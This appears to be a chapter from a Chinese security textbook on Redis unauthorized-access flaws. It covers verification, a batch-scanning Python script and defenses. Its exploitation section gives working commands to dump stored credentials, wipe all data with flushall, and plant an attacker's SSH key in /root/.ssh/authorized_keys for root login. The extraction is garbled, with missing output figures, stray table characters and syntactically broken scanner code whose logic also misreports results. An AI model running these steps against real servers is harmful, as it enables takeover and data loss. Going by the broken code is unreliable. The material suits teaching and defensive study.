Redis是一种使用ANSIC语言编写的开源Key-Value型数据库。与Memcache相 似,支持存储的value类型有很多种,其中包括String(字符串)、List(链表)、 Set(集合)、Zset(有序集合)、Hash(哈希)等。同时,Redis还支持不同的排 序方式。Redis为了保证效率,将数据缓存在内存中,周期性地把更新的数据写入 磁盘或者把修改操作写入追加的记录文件中,在此基础上实现了master-slave(主 从)同步。
对Redis配置不当将会导致未授权访问漏洞,从而被攻击者恶意利用。在特定 条件下,如果Redis 以root身份运行,攻击者可以用root权限的身份写入SSH公钥文 件,通过SSH登录目标服务器,进而导致服务器权限被获取、泄露或发生加密勒 索事件,为正常服务带来严重危害。通常,服务器上的Redis绑定在0.0.0.0:
6379 ,如果没有开启认证功能,且没有采用相关的安全策略,比如添加防火墙规 则避免其他非信任来源IP访问等,将会导致Redis服务直接暴露在公网上,造成其 他用户直接在非授权情况下访问Redis服务。
通过手工进行未授权访问验证,在安装Redis服务的Kali系统中输入redis-cli-h IP ,如果目标系统存在未授权访问漏洞,则可以成功进行连接。输入info命令,
可以查看Redis服务的版本号、配置文件目录、进程ID号等,如下所示:
5.1.2 漏洞利用
当与远程Redis建立好连接后,通过Redis指令就能查询所需要的敏感信息。 下面就Redis一些常用指令进行简单介绍:
· 查看key和其对应的值:keys*。
· 获取用户名:get user。
· 获取登录指令:get password。
·删除所有数据:flushall。
示例如下所示:
下面介绍通过Redis未授权访问漏洞获取目标权限的常规利用方式。其基本工 作原理为,修改数据库的默认路径为/root/.ssh ,默认的缓存文件为
authorized.keys ,将目标主机缓存的公钥作为value保存在authorized.keys文件中, 这样就在服务器端/root/.ssh下生成了一个授权的key 。具体步骤如下。
1)在本地主机生成密钥key的命令如下:
>>> ssh-keygen -t rsa
运行结果如下所示:
2)在目录/root/.ssh下查看生成结果,并将公钥导入txt文件中,命令如下:
将运行结果导入Redis缓存,如下所示:
4)连接到目标主机,更改配置文件路径为/root/.ssh ,设定文件名称为 authorized-keys ,代码如下:
>>> redis-cli -h xx .xx .xx .xx >>> config set dir /root/ .ssh >>> Config set dbfilename authorized_keys >>>save |
运行结果更改配置文件,如下所示: |
5)通过SSH协议连接到远程目标主机,命令如下: |
>>> ssh xx .xx .xx .xx |
运行结果连接到目标主机,如下所示:
5.1.3 检测方法
本节介绍如何通过Python脚本批量检测Redis未授权访问漏洞。相信大家通过 本节的学习,将能够利用该方式编写出其他已知的未授权访问漏洞检测脚本。当 然,也可以自己独立开发出能够检测多种未授权访问或弱口令的集成检测工具。 下面将带领大家开始一步一步完成Redis未授权访问检测脚本的编写。
1)编写程序的起始部分,该部分类似于C语言的main() 函数。当执行过程 中没有发生异常时,执行定义的start() 函数。通过sys.argv[]实现对外部指令的 接收。其中,sys.argv[0]表示代码本身的文件路径,sys.argv[1:]表示从第一个命 令行参数到输入的最后一个命令行参数,存储形式为List类型:
if __name__ == '__main__ ' : try: start(sys .argv[1:]) except Keyboard Interrupt : print("interrupted by user, killing all threads . . .") |
2)编写命令行参数处理功能。此处主要应用getopt.getopt() 函数处理命令 行参数,该函数目前有短选项和长选项两种格式。短选项格式为“-”加上单个字母 选项;长选项格式为“--”加上一个单词选项。opts为一个两元组列表,每个元素为 (选项串,附加参数)。如果没有附加参数则为空串。之后通过for循环输出opts 列表中的数值并赋值给自定义的变量: |
def start(argv) : dic t = {} url = "" type = "" if len(sys .argv) < 2: print("-h 帮助信息;\n") sys .exit() # 定义异常处理 try: banner() opts,args = getopt.getopt(argv,"-u:-p:-s:-h") except getopt.GetoptError: print( 'Error an argument! ') sys .exit() for opt,arg in opts: if opt == "-u" : url = arg elif opt == "-s" : type = arg elif opt == "-p" : port = arg elif opt == "-h" : print(usage()) launcher(url,type,port) |
3)该部分主要用于输出帮助信息,增加代码工具的可读性和易用性。为了 使输出的信息更加美观简洁,可以通过转义字符设置输出字体的颜色,从而实现
需要的效果。开头部分包含三个参数:显示方式、前景色、背景色。这三个参数 是可选的,可以只写其中的某一个参数。对于结尾部分,可以省略,但是为了书
写规范,建议以\033[0m结尾。
该部分的主要代码如下所示:
# banner信息 def banner() : print( '\033[1;34m######################################################\033 [1;32mMS08067实验室\033[1;34m######################################\033 [0m\n ') # 使用规则 def usage() : print( '-h : --help 帮助; ') print( '-p: --port 端口 ') print( '-u: --url 域名; ') print( '-s: --type Redis ') sys .exit() |
先以图案的形式输出脚本出自MS08067实验室,然后输出有关该脚本用法的 帮助信息,即可执行的参数指令以及对应的功能简介。输出效果如下所示。当 然,此处也可以根据自己的喜好设置输出不同类型的字体颜色或者图案: |
4)为Redis未授权访问检测脚本的核心部分,根据命令行输入端写入的IP或 IP范围,通过for语句循环输出。Socket函数在第2章已经讲解过了,此处通过 socket() 函数尝试连接远程主机的IP及端口号,发送payload字符串。利用 recvdata() 函数接收目标主机返回的数据,当时返回的数据含有'redis version'字 符串时,表明存在未授权访问漏洞,否则不存在:
|
##未授权函数检测
def redis_unauthored(url,port) :
result = []
s = socket.socket()
payload = "\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a" socket.setdefaulttimeout(10)
for ip in url.split() :
try:
s .connect((ip, in t(port)))
s .sendall(payload.encode())
recvdata = s .recv(1024) .decode()
if recvdata and 'redis_version ' in recvdata:
{
result.append(str(ip)+ ' : '+str(port)+ ' : '+ '\033[1;32;
34msuccess\033[0m ')
except :
pass
result.append(str(ip) + ' : ' + str(port) + ' : ' + '\033[1;31;
34mfailed \033[0m ')
s .close()
return(result)
5)本步骤的代码主要用于针对IP区段内的网络主机进行未授权访问检测,在 进行内网渗透测试的过程中,由于输入单个IP地址进行测试较为复杂,因此有必 要进行IP段段内检测。该部分代码主要以特殊字符“-”为目标字符进行分隔,将分 隔后的字符进行for循环存入列表中,以便被函数redis_unauthored() 调用。其具 体代码如下所示: |
# 执行URL def url_exec(url) : i = 0 zi = [] group = [] group1 = [] group2 = [] li = url.split(" .") if(url.find( '- ')==-1) : group .append(url) zi = group else: for s in li : a = s .find( '- ') if a != -1: i = i+1 zi = url_list(li) if i > 1 : for li in zi : zz = url_list(li.split(" .")) for ki in zz: group .append(ki) zi = group i = i-1 if i > 1 : for li in zi : zzz = url_list(li.split(" .")) for ki in zzz: group1 .append(ki) zi = group1 i = i - 1 if i > 1 : for li in zi : zzzz = url_list(li.split(" .")) for ki in zzzz: group2 .append(ki) zi = group2 return zi |
6)设置数据输出格式,使输出的数据更加美观、简洁,增加可读性。该部 分代码的输出字段主要分三段信息,其中包括IP地址、端口号、状态信息。代码 如下: |
# 输出结果格式设计
def output_exec(output,type) :
print("\033[1;32;34m"+type+" . . . . . .\033[0m")
print("++++++++++++++++++++++++++++++++++++++++++++++++")
print(" | ip | port | status |")
for li in output :
print("+-----------------+-----------+--------------+")
print(" | "+li.replace(" :"," | ")+" | ")
print("+----------------+------------+---------------+\n")
print("[*] shutting down . . . .")
脚本工具执行结果如下所示:
5.1.4 防御策略
Redis未授权访问漏洞产生的危害很大,甚至可以批量获取目标系统的权限, 有必要针对该漏洞进行严格限制和防御。针对该漏洞的防御方式有很多,下面是 常见的防御方式:
1)禁止远程使用高危命令。
2)低权限运行Redis服务。
3)禁止外网访问Redis。
4)阻止其他用户添加新的公钥,将authorized_keys的权限设置为对拥有者只 读。